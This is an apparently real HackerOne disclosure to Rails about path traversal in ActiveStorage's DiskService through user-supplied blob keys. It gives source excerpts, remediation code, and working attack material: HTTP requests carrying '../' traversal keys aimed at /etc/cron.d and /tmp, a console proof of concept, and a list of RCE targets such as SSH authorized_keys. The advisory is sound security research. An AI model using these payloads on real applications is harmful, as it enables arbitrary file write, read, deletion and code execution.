ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection

Disclosed: 2026-05-07 14:04:44 By ksw9722 To rails
Medium
Vulnerability Details
# ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection ## Summary ActiveStorage's `DiskService#path_for` does not validate or sanitize blob keys before constructing file paths. Combined with the Hash attachable interface — which passes user-supplied `key:` values directly to `Blob.build_after_unfurling` without filtering — an attacker who can influence the Hash passed to `.attach()` can achieve **arbitrary file write, read, and delete** on the server's filesystem. The `key:` parameter is a [documented feature](https://guides.rubyonrails.org/active_storage_overview.html#attaching-file-io-objects) intended for S3 folder organization, making it likely that developers will incorporate user input into key construction. **Severity**: High (CVSS 8.1 estimated — depends on application-level exposure) **Affected component**: `activestorage` (DiskService) **Affected versions**: All current Rails versions using ActiveStorage with DiskService --- ## Vulnerability Details ### 1. Hash Attachable Splats All Keys Without Filtering `activestorage/lib/active_storage/attached/changes/create_one.rb:82-88`: ```ruby when Hash ActiveStorage::Blob.build_after_unfurling( **attachable.reverse_merge( record: record, service_name: attachment_service_name ).symbolize_keys ) ``` When a Hash is passed to `.attach()`, **every key-value pair** — including `key:` — is forwarded to `Blob.build_after_unfurling` via `**` splat. ### 2. `build_after_unfurling` Accepts and Stores Arbitrary Keys `activestorage/app/models/active_storage/blob.rb:86-89`: ```ruby def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil) new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob| blob.unfurl(io, identify: identify) end end ``` A non-nil `key:` value is passed directly to `ActiveStorage::Blob.new`. ### 3. `has_secure_token` Does Not Overwrite Pre-Set Keys `activerecord/lib/active_record/secure_token.rb:73-77`: ```ruby set_callback on, on == :initialize ? :after : :before do if new_record? && !query_attribute(attribute) send("#{attribute}=", generate_token.call) end end ``` The `has_secure_token :key` callback on `ActiveStorage::Blob` only generates a secure random key when the attribute is **blank**. If a key is already set via the constructor, the callback is a no-op. The custom `key` getter (`blob.rb:176-179`) also preserves existing values via `self[:key] ||= ...`. ### 4. `DiskService#path_for` Has No Path Traversal Protection `activestorage/lib/active_storage/service/disk_service.rb:101-103, 155-157`: ```ruby def path_for(key) File.join root, folder_for(key), key end def folder_for(key) [ key[0..1], key[2..3] ].join("/") end ``` `File.join` does not sanitize `../` sequences. There is no validation that the resolved path remains within `root`. A key like `../../etc/cron.d/evil` produces a path that escapes the storage directory. ### 5. No Key Format Validation on the Blob Model `ActiveStorage::Blob` has **zero validation** on the `key` attribute: ```ruby validates :service_name, presence: true validates :checksum, presence: true, unless: :composed # No validates :key, format: ... ``` The only constraint is the database-level `NOT NULL` and `UNIQUE` index, neither of which prevent path traversal characters. --- ## Attack Chain ``` Attacker-controlled input ↓ Hash passed to model.file.attach({ ..., key: "../../malicious" }) ↓ create_one.rb: **splat passes key: to build_after_unfurling ↓ blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is ↓ secure_token.rb: callback sees key is present, skips generation ↓ disk_service.rb: path_for("../../malicious") → File.join(root, folder_for(key), key) → escapes storage root directory ↓ upload/download/delete operates on arbitrary filesystem path ``` --- ## Exploitation Scenarios ### Scenario A: JSON API with User-Specified Storage Path The official Rails guide documents using `key:` for S3 folder organization. A developer building an API may extend this pattern to allow user-specified paths: ```ruby class Api::V1::DocumentsController < ApiController def create file = decode_base64_upload(params[:file_data]) @project.documents.attach( io: file, filename: params[:filename], content_type: params[:content_type], key: "projects/#{@project.id}/#{params[:path]}" # user input in key ) render json: { status: "uploaded" } end end ``` **Attack request:** ```http POST /api/v1/documents HTTP/1.1 Content-Type: application/json { "file_data": "KiBldmlsIGNyb250YWIgZW50cnkK", "filename": "notes.txt", "content_type": "text/plain", "path": "../../../../etc/cron.d/backdoor" } ``` **Result:** The uploaded content is written to `/etc/cron.d/backdoor` (if the process has permissions), achieving **Remote Code Execution** via cron. ### Scenario B: Hash Attachable with Unsanitized Params A developer permits the `key` parameter through Strong Parameters, following the guide's documented feature: ```ruby class AssetsController < ApplicationController def create current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile)) end private def avatar_params params.require(:avatar).permit(:filename, :content_type, :key) end end ``` **Attack request:** ```http POST /assets HTTP/1.1 Content-Type: multipart/form-data avatar[filename]=photo.jpg avatar[content_type]=image/jpeg avatar[key]=../../../../../../tmp/malicious_payload [email protected] ``` **Result:** Arbitrary file write to `/tmp/malicious_payload`. ### Scenario C: Nested Attributes / Model Assignment When `has_one_attached` generates an attribute setter, Hash values flow through the vulnerable path: ```ruby class User < ApplicationRecord has_one_attached :avatar end class UsersController < ApplicationController def update @user.update!(user_params) end private def user_params params.require(:user).permit(:name, avatar: {}) # permissive Hash permit end end ``` A JSON request body like `{ "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } }` would inject the key through the model assignment path. ### Scenario D: Arbitrary File Read via Download Once a blob with a malicious key is persisted, any subsequent `blob.download` call reads from the traversed path: ```ruby # After malicious blob is saved with key: "../../etc/passwd" blob = ActiveStorage::Blob.find(malicious_blob_id) content = blob.download # reads /etc/passwd via DiskService ``` If the application exposes blob content through any controller (the default `BlobsController`, custom download endpoints, etc.), the attacker can read arbitrary files. ### Scenario E: Arbitrary File Delete via Purge ```ruby # Blob with key: "../../important_app_config.yml" blob.purge # calls service.delete(key) → File.delete(path_for(key)) ``` Deleting the blob (via purge, or automatic cleanup of unattached blobs) deletes the traversed file path. --- ## Proof of Concept Minimal reproduction in a Rails console with DiskService configured: ```ruby # 1. Demonstrate that a malicious key bypasses has_secure_token blob = ActiveStorage::Blob.build_after_unfurling( key: "../../traversal_test", io: StringIO.new("pwned"), filename: "test.txt" ) puts blob.key # => "../../traversal_test" (not a secure random token) # 2. Demonstrate path_for escapes root service = ActiveStorage::Blob.service # DiskService instance puts service.path_for("../../traversal_test") # => "/rails/storage/../../tr/../../traversal_test" # Resolves to a path outside /rails/storage/ # 3. Demonstrate via attach (simulating application code) user = User.new(name: "test") user.avatar.attach( io: StringIO.new("arbitrary content"), filename: "innocent.txt", key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}" ) user.save! # Verify file was written outside storage root poc_key = user.avatar.blob.key resolved = File.expand_path(service.path_for(poc_key)) storage_root = File.expand_path(service.root) puts "Key: #{poc_key}" puts "Resolved path: #{resolved}" puts "Escaped root?: #{!resolved.start_with?(storage_root)}" # => true ``` --- ## Suggested Remediation ### Option A: Validate Key Format on the Blob Model (Recommended) Add a validation that rejects keys containing path traversal characters: ```ruby # activestorage/app/models/active_storage/blob.rb validates :key, format: { with: /\A[a-zA-Z0-9\-_]+\z/, message: "contains invalid characters" } ``` ### Option B: Sanitize in DiskService#path_for Verify the resolved path stays within the root directory: ```ruby # activestorage/lib/active_storage/service/disk_service.rb def path_for(key) path = File.join(root, folder_for(key), key) full_path = File.expand_path(path) raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root)) full_path end ``` ### Option C: Strip key from Hash Attachable Prevent the `key:` parameter from being accepted through the Hash attachable path: ```ruby # activestorage/lib/active_storage/attached/changes/create_one.rb when Hash ActiveStorage::Blob.build_after_unfurling( **attachable.except(:key, "key").reverse_merge( record: record, service_name: attachment_service_name ).symbolize_keys ) ``` A combination of Options A and B provides defense-in-depth. --- ## References - `activestorage/lib/active_storage/service/disk_service.rb:101-103` — `path_for` (no sanitization) - `activestorage/lib/active_storage/attached/changes/create_one.rb:82-88` — Hash splat - `activestorage/app/models/active_storage/blob.rb:86-89` — `build_after_unfurling` accepts `key:` - `activerecord/lib/active_record/secure_token.rb:73-77` — conditional token generation - [Rails Guide: Attaching File/IO Objects](https://guides.rubyonrails.org/active_storage_overview.html#attaching-file-io-objects) — documents `key:` parameter usage ## Impact ## Impact | Operation | DiskService Method | Primitive | |---|---|---| | `upload` | `IO.copy_stream(io, make_path_for(key))` | **Arbitrary file write** + directory creation via `mkdir_p` | | `download` | `File.binread path_for(key)` | **Arbitrary file read** | | `delete` | `File.delete path_for(key)` | **Arbitrary file delete** | | `delete_prefixed` | `Dir.glob(path_for("#{prefix}*"))` + `rm_rf` | **Glob-based mass delete** | | `exist?` | `File.exist? path_for(key)` | **File existence oracle** | With arbitrary file write, an attacker can achieve **Remote Code Execution** by writing to: - Cron directories (`/etc/cron.d/`) - SSH authorized keys (`~/.ssh/authorized_keys`) - Application initializers or configuration files - Puma/Unicorn restart-watched files ### Who Is Affected - Applications using **DiskService** (default in development; used in production for small/single-server deployments and on-premises environments) - Applications where **any user input flows into the Hash passed to `.attach()`**, particularly the `key:` field - The official guide's documented `key:` pattern encourages developers to construct keys from dynamic values, increasing the likelihood of user input reaching this code path
Actions
View on HackerOne
Report Stats
  • Report ID: 3580511
  • State: Closed
  • Substate: resolved
  • Upvotes: 2
Share this report